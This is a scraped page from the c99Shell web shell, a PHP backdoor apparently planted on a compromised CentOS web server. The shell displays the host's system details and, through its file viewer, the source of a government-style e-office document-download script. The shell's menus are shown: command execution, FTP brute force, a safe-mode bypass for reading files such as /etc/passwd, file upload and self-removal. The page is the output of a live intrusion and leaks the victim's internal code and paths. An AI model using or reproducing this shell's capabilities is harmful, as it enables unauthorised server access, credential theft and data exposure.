!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     programXSendNew.php (7.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
set_time_limit
(0);
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../class/clsSendNewDocSR.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oTsr4 = new sendreceive($oC);
$oCd = new collegedetail($oC);
$oSn = new sendnewdocsr($oC);
$oSn2 = new sendnewdocsr($oC);
$oSn3 = new sendnewdocsr($oC);
?>
<html>
<head>
<title>ตรวจสอบการดาวน์โหลดเอกสาร</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#F9FCFF"><br>
<table width="90%" align="center" border=0>
<tr>
    <td><strong><img src="../picture/download.gif"> <font size="2">ตรวจสอบการดาวน์โหลดเอกสาร</font></strong></td>
  </tr>

<?

//----update doc status = r1 to r2
$i=0
if(
$tsr_idselect==''){
                
$oSn->SearchBysn_status(r1);
                while(
$oSn->GetRecord()){
                    
$oSn->Edit();
                    
$oSn->sn_status='r2';
                    
$oSn->Save();
                    
$i++;
                }
}else{ 
//case select each doc


}
echo 
"<tr><td>&nbsp;</td></tr>";
if(
$i==0){ echo "<tr><td align=\"center\"><b> ------------------------  ยังไม่มีเอกสารที่จะดาวน์โหลด  ------------------------</b></td></tr>";   }


//----select doc status = r2 start download
$oSn->SearchBysn_status('r2');
while(
$oSn->GetRecord()){
        
$sn_id =$oSn->sn_id;
        
$sn_fr_node =$oSn->sn_fr_node;
        
$sn_fr_node_date=$oSn->sn_fr_node_date;
        
$sn_to_node=$oSn->sn_to_node;
        
$sn_to_node_date=$oSn->sn_to_node_date;
        
$sn_doc_url=$oSn->sn_doc_url;
        
$sn_docname=$oSn->sn_docname;
        
$sn_doc_chksum=$oSn->sn_doc_chksum;
        
$sn_tsr_id_send=$oSn->sn_tsr_id_send;
        
$sn_status=$oSn->sn_status;
        
$sn_id_send=$oSn->sn_id_send;


        
$oCd->SearchByKey($oSn->sn_to_node); 
        
$oCd->GetRecord();   
        
        echo 
"<tr><td align=\"center\"><b> ------------------------  กำลังดาวน์โหลดเอกสาร  ------------------------</b></td></tr>";
        echo 
"<tr><td align=\"left\"><b> ชื่อแฟ้มหนังสือ :: </b>".$sn_docname."</td></tr>";
        echo 
"<tr><td align=\"left\"><b> จาก :: </b>".$oCd->collegeAbbr."</td></tr>";
        echo 
"<tr><td align=\"left\"><b> สถานะการดาวน์โหลดเอกสาร :: </b></td></tr>";
        
    
//---download each Doc
        
$i=0;
            
                    list(
$downloadurl,$sn_doc_url)=preg_split('[,]',$sn_doc_url,2);
                    list(
$downloadfilename,$sn_docname)=preg_split('[,]',$sn_docname,2);
                    list(
$downloadchksum,$sn_doc_chksum)=preg_split('[,]',$sn_doc_chksum,2);
                    
$checktsr_statusDocAtt.='Y';

                    
$i++;
                    echo 
"<tr><td align=\"left\"><b>&nbsp;&nbsp;แฟ้ม :: </b>".$downloadfilename."</td></tr>";
                    
                                echo 
"<tr><td align=\"left\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                                if(
downloadRemoteFile($sn_fr_node,$downloadurl$GLOBALS['path_upload_documentsTmp'])==true){
                                echo 
"</td></tr>";
                                
                                            
$file_name basename($downloadurl);
                                            
$file_name_write=$file_name;
                                            
$filename_=''$filetype_='';
                                             list(
$filename_,$filetype_)=preg_split("/\./",$file_name_write);
                                            
$filewrite=$filename_.'-'.$sn_fr_node.'.'.$filetype_;
                                            
                                                    
$fileN=substr(strrchr($downloadurl'/'),1);
                                                    
$pathfile=$GLOBALS['path_upload_documentsTmp'].$filewrite;
                                                    
$checksum=md5_file($pathfile);
                                                    
$c=0;
                                                    
//echo 'checksum='.$checksum.'-downloadchksum='.$downloadchksum;
                                                    
if($downloadchksum==""){  $c=1; }
                                                    if((
$checksum==$downloadchksum) || $c==1){                            
                                                                    echo 
"<tr><td align=\"left\">&nbsp;&nbsp;&nbsp;&nbsp; >>>>> ดาวน์โหลดเอกสารสมบูรณ์  <<<<<</td></tr>";
                                                    }else{
                                                                    echo 
"<tr><td align=\"left\">&nbsp;&nbsp;&nbsp;&nbsp; >>>>> เอกสารที่ดาวน์โหลดมาไม่สมบูรณ์  <<<<<</td></tr>";
                                                    }
                                }else{
                                                                    echo 
"<tr><td align=\"left\">&nbsp;&nbsp;&nbsp;&nbsp; >>>>> ไม่สามารถดาวน์โหลดเอกสารได้  <<<<<</td></tr>";
                                }    
                                                
                                
                                
//-----if finish download all doc                
                                
if(($checksum==$downloadchksum) || $c==1){    
                                                            
//if chksum OK  -------------update status = r3--------------
                                                            
$oSn2->SearchByKey($oSn->sn_id);
                                                            
$oSn2->GetRecord();
                                                            
$oSn2->Edit();
                                                            
$oSn2->sn_status='r3';
                                                            
$oSn2->Save();
                                                            
//$sn_docid2 =$oTsr2->tsr_docid;
                                                            
$sn_fr_node2=$oSn2->sn_fr_node;
                                                            
$sn_id2=$oSn2->sn_id_send;
                                                            
$oSn2->Close();
                                                            
                                                            
//if chksum OK  -------------sendTos3-----------------
                                                            
$oCd = new collegedetail($oC);
                                                            
$oCd->SearchByKey($sn_fr_node2);
                                                            
$oCd->GetRecord();    
                                                            
$msg='?fn=s3SendDoc&sn_id='.$sn_id2;
                                                            
                                                            if(
$sn_fr_node2==99){ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND1"];
                                                            }else if(
$sn_fr_node2==8){ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND3"]; 
                                                            }else{ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND2"]; 
                                                            }
                                    
                                                            
$path_send='http://'.$oCd->collegeHost.'/'.$folder.'/'.'eoffice/admin/sendTSR.php'.$msg;
                                                            
$res=file_get_contents($path_send);  
                                                            
                                                            
//if chksum OK  --------------set r3 to r4 not wait return fn=s3------------------------
                                                            
$oSn3->SearchBysn_id_send_sn_fr_node($sn_id2,$sn_fr_node2);
                                                            
$oSn3->GetRecord();                    
                                                            
$oSn3->Edit();
                                                            
$oSn3->sn_status='r4';
                                                            
$oSn3->Save();
                                                            
/**/
                            
}
            }

echo 
"</table><br>";
if(
$tsr_idselect==''){
echo 
"<meta http-equiv='refresh' content='10; URL=programX.php'>";

}
?>
</body>
</html>
<?
function microtime_float(){
    list(
$usec$sec) = explode(" "microtime());
    return ((float)
$usec + (float)$sec);
}

function 
downloadRemoteFile($tsr_fr_node,$url,$dir,$file_name NULL){ 
    if(
$file_name == NULL){ $file_name basename($url); } 
    
$file_name_write=$file_name;
    
    
$url_stuff parse_url($url); 

    
$port = isset($url_stuff['port']) ? $url_stuff['port'] : 80

    
$fp fsockopen($url_stuff['host'], $port); 
    if(!
$fp){ return false;} 

    
$query  'GET ' $url_stuff['path'] . " HTTP/1.0\n"
    
$query .= 'Host: ' $url_stuff['host']; 
    
$query .= "\n\n"
    
fwrite($fp$query); 
    while (
$tmp fread($fp1024))   { 
        
$buffer .= $tmp
        echo 
".";
        
flush();
        
//ob_flush();
    

    echo 
"<br>";
    
preg_match('/Content-Length: ([0-9]+)/'$buffer$parts); 
    
$file_binary substr($buffer, - $parts[1]); 
    if(
$file_name == NULL){ 
        
$temp explode(".",$url); 
        
$file_name $temp[count($temp)-1]; 
    } 
    
//$file_open = fopen($dir . "/" . date('Y-m-d_His').$file_name,'w');
    
    //---add collegeId into filename
     
list($filename_,$filetype_)=preg_split("/\./",$file_name_write);
     
$filewrite=$filename_.'-'.$tsr_fr_node.'.'.$filetype_;
    
    
$file_open fopen($dir "/" .$filewrite,'w');
    if(!
$file_open){ return false; } 
    
fwrite($file_open,$file_binary); 
    
fclose($file_open); 
    return 
true

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--